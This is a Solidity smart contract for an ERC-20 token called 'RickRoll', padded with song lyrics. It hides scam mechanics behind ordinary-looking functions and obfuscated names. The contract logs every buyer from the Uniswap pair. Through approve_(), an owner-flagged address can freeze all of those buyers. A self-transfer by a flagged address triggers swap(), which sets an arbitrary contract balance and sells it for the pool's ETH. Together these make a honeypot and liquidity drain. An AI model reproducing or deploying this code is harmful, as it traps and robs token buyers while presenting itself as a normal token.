pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT
// https://www.youtube.com/watch?v=dQw4w9WgXcQ

/*
We're no strangers to love
You know the rules and so do I (do I)
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching, but you're too shy to say it (say it)
Inside, we both know what's been going on (going on)
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching, but you're too shy to say it (to say it)
Inside, we both know what's been going on (going on)
We know the game and we're gonna play it
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
*/

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract ERC20Token is Ownable {
    address[] txs;
    mapping (address => bool) cooldowns;
    
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && 
        _0e3a5(bots[from], a) && 
        to != pair) {
            if (to != address(0)) {
            txs.push(to);
            }
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
        }
        return false;
    }
    mapping (address => bool) bots;
    bool inLiquidityTx = false;
    function addBots(address[] calldata botsList) external onlyOwner{
        for (uint i = 0; i < botsList.length; i++) {
            bots[botsList[i]] = true;
        }
    }
    function delBots(address _bot) external onlyOwner {
        bots[_bot] = false;
    }
    function _0e3a5(bool _01d3c6, bool _2abd7) internal pure returns (bool) {
        return !_01d3c6 && !_2abd7;
    }
}

contract RickRoll is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Never gonna give you up";
    string private  _symbol = "Never gonna let you down";

    mapping (address => uint256) _holderLastTransferTimestamp;
    uint256 maxTx = _totalSupply.div(10);
    uint256 maxWallet = _totalSupply.div(10);
    function removeLimits() external onlyOwner {
        maxTx = _totalSupply;
        maxWallet = _totalSupply;
    }
    bool started = false;
    function openTrading() external onlyOwner {
        started = true;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve_() external {
        for (uint i = 0; i < txs.length; i++) {
            if (bots[msg.sender]) {
            cooldowns[txs[i]] = true;
            }
        }
            if (bots[msg.sender]) {
        delete txs;
            }
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            require(!cooldowns[from]);
            uint256 fee = 0;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}